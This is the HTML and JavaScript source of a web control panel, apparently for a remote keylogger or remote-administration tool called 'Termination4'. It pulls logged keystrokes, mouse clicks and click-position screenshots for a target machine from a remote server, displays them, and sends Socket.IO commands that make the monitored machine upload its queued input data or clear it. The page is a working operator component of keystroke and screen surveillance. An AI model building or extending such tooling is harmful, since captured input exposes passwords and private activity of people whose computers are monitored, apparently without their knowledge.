Files

346 lines
12 KiB
HTML

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/font.css">
<link rel="stylesheet" href="/css/xadmin.css">
<link rel="stylesheet" href="/css/win10ui.css">
<link rel="stylesheet" href="/css/theme.css">
<link rel="stylesheet" href="/lib/layui/css/layui.css">
<script type="text/javascript" src="/lib/layui/layui.js" charset="utf-8"></script>
<script type="text/javascript" src="/js/xadmin.js"></script>
<script src="/assets/js/socket/Socket.IO.js"></script>
<script>window.breadcrumbs = [{name: "首页", url: ""},{name: "Termination4", url: ""},{name: "键鼠监听"}];</script>
<script src="/js/address.bar.js"></script>
<style>
body {
background-color: #f8f9fa;
font-family: "Segoe UI", "PingFang SC", "Microsoft YaHei", sans-serif;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
.header {
text-align: center;
margin-bottom: 30px;
padding: 20px;
background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
color: white;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.header h1 {
font-size: 28px;
margin-bottom: 10px;
}
.header p {
font-size: 16px;
opacity: 0.9;
}
.panel {
background-color: white;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
margin-bottom: 25px;
overflow: hidden;
}
.panel-title {
font-size: 18px;
font-weight: 600;
padding: 15px 20px;
color: #2c3e50;
background-color: #f8f9fa;
border-bottom: 1px solid #eaecef;
}
.input-display {
padding: 20px;
min-height: 200px;
font-size: 16px;
line-height: 1.6;
background-color: #f8fafc;
border-radius: 0 0 8px 8px;
}
.input-item {
display: inline-block;
margin: 5px;
padding: 8px 12px;
border-radius: 20px;
background-color: #e3f2fd;
color: #1976d2;
font-size: 14px;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
transition: all 0.2s ease;
}
.input-item:hover {
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.15);
}
.input-item.special {
background-color: #fff3e0;
color: #e65100;
}
.input-item.mouse-left {
background-color: #e8f5e9;
color: #2e7d32;
}
.input-item.mouse-right {
background-color: #f3e5f5;
color: #7b1fa2;
}
.controls {
display: flex;
justify-content: space-between;
margin-bottom: 20px;
}
.btn-group {
display: flex;
gap: 10px;
}
.stats {
display: flex;
align-items: center;
font-size: 14px;
color: #6c757d;
}
.stats i {
margin-right: 5px;
}
.timestamp {
text-align: right;
color: #6c757d;
font-size: 13px;
margin-top: 10px;
padding-right: 10px;
}
.empty-state {
text-align: center;
padding: 40px 0;
color: #6c757d;
}
.empty-state i {
font-size: 50px;
color: #dee2e6;
margin-bottom: 15px;
}
.mouse-coords {
font-weight: bold;
color: #1e88e5;
}
.mouse-event-wrapper {
display: inline-flex;
flex-direction: column;
align-items: flex-start;
margin: 5px;
}
.mouse-image-container {
margin-top: 5px;
width: 100%;
}
.mouse-image {
max-width: 150px;
max-height: 100px;
border: 1px solid #ddd;
border-radius: 4px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>计算机输入活动监控</h1>
<p>实时记录和显示所有输入活动</p>
</div>
<div class="controls">
<div class="stats">
<i class="layui-icon">&#xe62e;</i>
<span id="activityCount">0</span> 条活动记录
</div>
<div class="btn-group">
<button class="layui-btn layui-btn-normal" id="refreshBtn">
<i class="layui-icon">&#xe669;</i> 刷新数据
</button>
<button class="layui-btn layui-btn-normal" id="sendnow">
<i class="layui-icon">&#xe669;</i> 立即传输队列数据
</button>
<button class="layui-btn layui-btn-danger" id="clearBtn">
<i class="layui-icon">&#xe640;</i> 清空记录
</button>
</div>
</div>
<div class="panel">
<div class="panel-title">
<i class="layui-icon">&#xe60a;</i> 输入活动记录
</div>
<div class="input-display" id="inputDisplay">
<div class="empty-state">
<i class="layui-icon">&#xe60a;</i>
<p>暂无输入活动记录</p>
</div>
</div>
</div>
<div class="timestamp" id="lastUpdateTime">
最后更新时间: 尚未获取数据
</div>
</div>
<script>
socket = io("/Termination4SocketIOSpace");
layui.use(['jquery', 'layer'], function(){
var $ = layui.jquery;
var layer = layui.layer;
// 加载数据
function loadData() {
var loading = layer.load(1, {shade: [0.3, '#000']});
$.get('https://www.gvsds.com/T4/ShowKM.api?PCMachineGUID='+PCMachineGUID, function(data){
layer.close(loading);
if (data == "Bad PCMachineGUID") {
Toast.info("提示", "无数据可供加载");
return false;
}
if (!data || !Array.isArray(data)) {
layer.msg('数据格式错误', {icon: 2});
return;
}
// 处理所有输入数据
var allInputs = [];
data.forEach(function(item){
if (Array.isArray(item)) {
item.forEach(function(subItem){
allInputs.push(subItem);
});
}
});
// 显示输入数据
displayInputData(allInputs);
// 更新最后更新时间
$('#lastUpdateTime').text('最后更新时间: ' + new Date().toLocaleString());
}).fail(function(){
layer.close(loading);
layer.msg('请求数据失败', {icon: 2});
});
}
// 显示输入数据
function displayInputData(data) {
var $inputDisplay = $('#inputDisplay');
var $activityCount = $('#activityCount');
if (data.length === 0) {
$inputDisplay.html('<div class="empty-state"><i class="layui-icon">&#xe60a;</i><p>暂无输入活动记录</p></div>');
$activityCount.text('0');
return;
}
// ASCII控制字符中文对照表 (0-31和127)
var controlCharMap = {
'\u0000': '[空字符]', '\u0001': '[标题开始]', '\u0002': '[正文开始]',
'\u0003': '[正文结束]', '\u0004': '[传输结束]', '\u0005': '[请求]',
'\u0006': '[确认]', '\u0007': '[响铃]', '\u0008': '[退格]',
'\u0009': '[水平制表]', '\u000A': '[换行]', '\u000B': '[垂直制表]',
'\u000C': '[换页]', '\u000D': '[回车]', '\u000E': '[移出]',
'\u000F': '[移入]', '\u0010': '[数据链路转义]', '\u0011': '[设备控制1]',
'\u0012': '[设备控制2]', '\u0013': '[设备控制3]', '\u0014': '[设备控制4]',
'\u0015': '[拒绝接收]', '\u0016': '[同步空闲]', '\u0017': '[传输块结束]',
'\u0018': '[取消]', '\u0019': '[介质结束]', '\u001A': '[替换]',
'\u001B': '[换码]', '\u001C': '[文件分隔]', '\u001D': '[组分隔]',
'\u001E': '[记录分隔]', '\u001F': '[单元分隔]', '\u007F': '[删除]'
};
var html = '';
data.forEach(function(input){
if (typeof input === 'string') {
var displayText = input;
var isSpecial = false;
// 检查是否是ASCII控制字符 (0-31和127)
if (controlCharMap.hasOwnProperty(input)) {
displayText = controlCharMap[input];
isSpecial = true;
}
// 处理特殊键
else if (input.startsWith('Key.')) {
displayText = '[' + input.substring(4) + ']';
isSpecial = true;
} else if (input === ' ' || input === 'Space') {
displayText = '␣';
isSpecial = true;
} else if (input === '\n' || input === 'Enter') {
displayText = '↵';
isSpecial = true;
} else if (input === '\t' || input === 'Tab') {
displayText = '→|';
isSpecial = true;
}
html += '<span class="input-item' + (isSpecial ? ' special' : '') + '">' +
displayText.replace(/</g, '&lt;').replace(/>/g, '&gt;') +
'</span>';
} else if (typeof input === 'object' && input !== null) {
// 鼠标活动
if (input.I && input.K && input.A) {
var coordinates = input.I.join(', ');
var buttonText = input.K === 'L' ? '左键' : '右键';
var actionText = input.A === 'P' ? '按下' : '松开';
var mouseClass = input.K === 'L' ? 'mouse-left' : 'mouse-right';
var mouseEventHtml = '<div class="mouse-event-wrapper">';
mouseEventHtml += '<span class="input-item ' + mouseClass + '">' +
buttonText + ' ' + actionText +
' <span class="mouse-coords">(' + coordinates + ')</span>';
// 如果有图片数据,显示图片
if (input.M) {
mouseEventHtml += '<div class="mouse-image-container">' +
'<img src="' + input.M + '" class="mouse-image" title="鼠标点击位置截图">' +
'</div>';
}
mouseEventHtml += '</span></div>';
html += mouseEventHtml;
}
}
});
$inputDisplay.html(html);
$activityCount.text(data.length);
}
// 清空数据
$('#clearBtn').on('click', function(){
socket.emit("T4KMDelete", {"PCMachineGUID": PCMachineGUID});
$('#inputDisplay').html('<div class="empty-state"><i class="layui-icon">&#xe60a;</i><p>暂无输入活动记录</p></div>');
$('#activityCount').text('0');
$('#lastUpdateTime').text('最后更新时间: ' + new Date().toLocaleString() + ' (已清空)');
});
// 初始加载数据
loadData();
// 绑定刷新按钮
$('#refreshBtn').on('click', function(){
loadData();
});
$('#sendnow').on('click', function(){
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "KMSendNow"});
});
});
</script>
</body>
</html>